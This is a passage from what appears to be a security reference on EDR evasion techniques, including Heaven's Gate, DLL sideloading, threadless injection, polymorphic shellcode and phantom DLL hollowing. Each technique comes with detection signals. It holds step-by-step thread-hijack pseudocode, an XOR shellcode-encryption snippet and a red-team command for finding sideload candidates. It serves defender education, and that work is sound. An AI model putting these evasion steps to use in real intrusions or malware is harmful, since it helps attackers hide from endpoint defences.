; → now in 64-bit mode, can call 64-bit ntdll stubs directly
; → any EDR hooks on 32-bit ntdll are bypassedWhy it mattersMany EDRs hook the 32-bit ntdll for 32-bit processes but may have less visibility into direct 64-bit transitions from WOW64 processes.
Detection
- The 64-bit ETW and kernel callbacks fire regardless — the syscall is visible in the kernel
- A WOW64 process suddenly making 64-bit native calls is anomalous; CrowdStrike tracks this
- Uncommon in legitimate 32-bit applications; a strong signal when seen outside of known WOW64 transition code
A-5. DLL Sideloading
Different from hijacking (which requires a writable directory in the search path): sideloading places a malicious DLL alongside a legitimate, signed executable that LoadLibrarys it by name without validation.
Legitimate app + sideloaded malicious DLL:
C:\Program Files\LegitApp\
├── LegitApp.exe (signed by LegitVendor)
└── version.dll (malicious — placed by attacker, loaded implicitly)
LegitApp.exe calls GetProcAddress(LoadLibrary("version.dll"), ...)
Windows searches: current dir first → finds malicious version.dll
LegitApp.exe loads and calls malicious code under its own identityWhy it evadesThe malicious code runs inside a signed, trusted process. Network connections, registry writes, and file access are all attributed to LegitApp.exe. The DLL itself may be unsigned but is loaded by a signed binary.
Real-world examples
- SUNBURST (SolarWinds):
SolarWinds.Orion.Core.BusinessLayer.dllsideloaded into the Orion platform - HijackLoader: sideloads into signed AV or security tool processes
- APT29 (Cozy Bear): consistent sideloading into Microsoft Office, Windows Defender components
# Finding sideloading opportunities (red team)
# Use ProcMon / API Monitor: filter for LoadLibrary calls that return NAME_NOT_FOUND
# Any call to a DLL that doesn't exist in a system directory = sideload candidate
# Or: use SigCheck to find signed binaries importing DLLs from non-system locations
sigcheck.exe -accepteula -e -u -vt "C:\Program Files\LegitApp\"Detection
- Sysmon Event ID 7 (image load): flag unsigned DLLs loaded by signed processes
- The loaded DLL's path is outside
C:\Windows\System32andC:\Windows\SysWOW64 - CrowdStrike ML models score DLLs loaded by trusted processes; unsigned + high entropy + external network connection = high confidence IOA
A-6. ThreadlessInject — No New Thread
Classic injection (CreateRemoteThread, NtCreateThreadEx) creates a new thread in the target process — a high-signal event that every EDR monitors. Threadless injection hijacks an existing thread by temporarily redirecting its execution.
Mechanism (GitHub: antonioCoco/ThreadlessInject):
1. Find a module in the target process that exports a rarely-called function
(e.g., an EAT entry that is never called at runtime)
2. Overwrite the function's prologue in memory with shellcode
3. When the target's existing threads call that export (or the attacker triggers it),
the thread executes the shellcode and then returns normally// Alternative: hijack a thread in a wait state
1. OpenThread(THREAD_ALL_ACCESS, FALSE, target_tid)
2. SuspendThread(hThread)
3. GetThreadContext(hThread, &ctx)
4. Backup ctx.Rip
5. ctx.Rip = shellcode_addr; // redirect to shellcode
6. SetThreadContext(hThread, &ctx)
7. Push original Rip onto shellcode stack so shellcode can return naturally
8. ResumeThread(hThread)
// → existing thread runs shellcode, then returns to where it wasWhy it evadesNo NtCreateThreadEx or CreateRemoteThread call — the events most EDRs watch for thread-based injection. The ETW Threat-Intelligence THREATINT_KEYWORD_CREATE_REMOTE_THREAD event is never generated.
Detection
- Thread context modification (
SetThreadContexton a remote thread) is observable via kernel callbacks - A thread's
RIPsuddenly pointing outside any known module boundary is flagged as memory anomaly - CrowdStrike monitors
NtSetContextThreadon remote threads (MITRE T1055.003)
A-7. Polymorphic / Metamorphic Shellcode
Polymorphicsame functionality, different bytes each run (via encryption with a varying key). The decryptor stub itself is constant — signatures can still detect the decryptor.
Metamorphicthe code itself is rewritten each generation — instruction substitution, register reassignment, dead code insertion, block reordering.
# Simple polymorphic stub concept: XOR shellcode with a random key
import random
shellcode = b"\x48\x31\xc0\x48..."
key = random.randbytes(len(shellcode))
encrypted = bytes(a ^ b for a, b in zip(shellcode, key))
# Decoder stub (prepend to payload):
# MOV RCX, length
# MOV RSI, encrypted_shellcode_addr
# MOV RDI, key_addr
# XOR [RSI], [RDI] ; loopToolsSGN (shikata_ga_nai successor), MSFPC, Donut (encodes .NET assemblies as polymorphic shellcode), PEzor.
Detection
- High-entropy regions in memory → entropy threshold triggers scanner
- The decryptor loop itself has recognizable patterns (XOR/NOT + counter loop + call-pop addressing)
- CrowdStrike's memory scanner uses heuristics beyond static signatures: behavioral patterns during execution, not just byte patterns at rest
A-8. Phantom DLL Hollowing
A refinement of process hollowing that targets DLL memory rather than a suspended process:
1. MapViewOfFile a legitimate DLL (e.g., clrjit.dll) into the current process
2. NtUnmapViewOfSection to detach the original mapped view
3. Use the now-unmapped virtual address range:
NtAllocateVirtualMemory at the same address (now unoccupied)
Write malicious PE to this address
4. The memory region occupies the address where clrjit.dll "was"
but now contains arbitrary codeWhy it's stealthyMemory scanners that walk the VAS and check named module regions will see the address range — it used to be a known DLL — but the content has been replaced. Without re-hashing the mapped content against the on-disk DLL, the scanner misses it.
Detection
- PE-sieve and HollowsHunter: compare every mapped region's content against its corresponding on-disk image hash
- CrowdStrike's memory scanner re-hashes module regions and compares to PE on disk; mismatch = flag
NtUnmapViewOfSectionon a named mapped file followed byNtAllocateVirtualMemoryat the same base is a recognizable IOA sequence
Advanced Evasion Detection Summary
| Technique | Key Signal for Detection |
|---|---|
| Sleep obfuscation | Memory permission cycling (RX→RW→RX); high-entropy private RW region |
| Stack spoofing | Stack frames in spoofed chain lack proper local variable layout; RSP points to unmodule'd memory |
| Indirect syscalls | syscall instruction inside ntdll (passes module check), but return RIP after sysret is in shellcode |
| Heaven's Gate | WOW64 process issuing far jmp to 0x33; unexpected 64-bit syscalls from 32-bit process |
| DLL sideloading | Unsigned DLL loaded by signed process; DLL outside system directories; Sysmon Event ID 7 |
| Threadless inject | NtSetContextThread on remote thread; thread RIP outside module boundaries |
| Polymorphic shellcode | High entropy memory region; decryptor loop heuristics; behavioral IOA on execution |
| Phantom DLL hollowing | Named module region content ≠ on-disk hash; NtUnmapViewOfSection + reallocate at same base |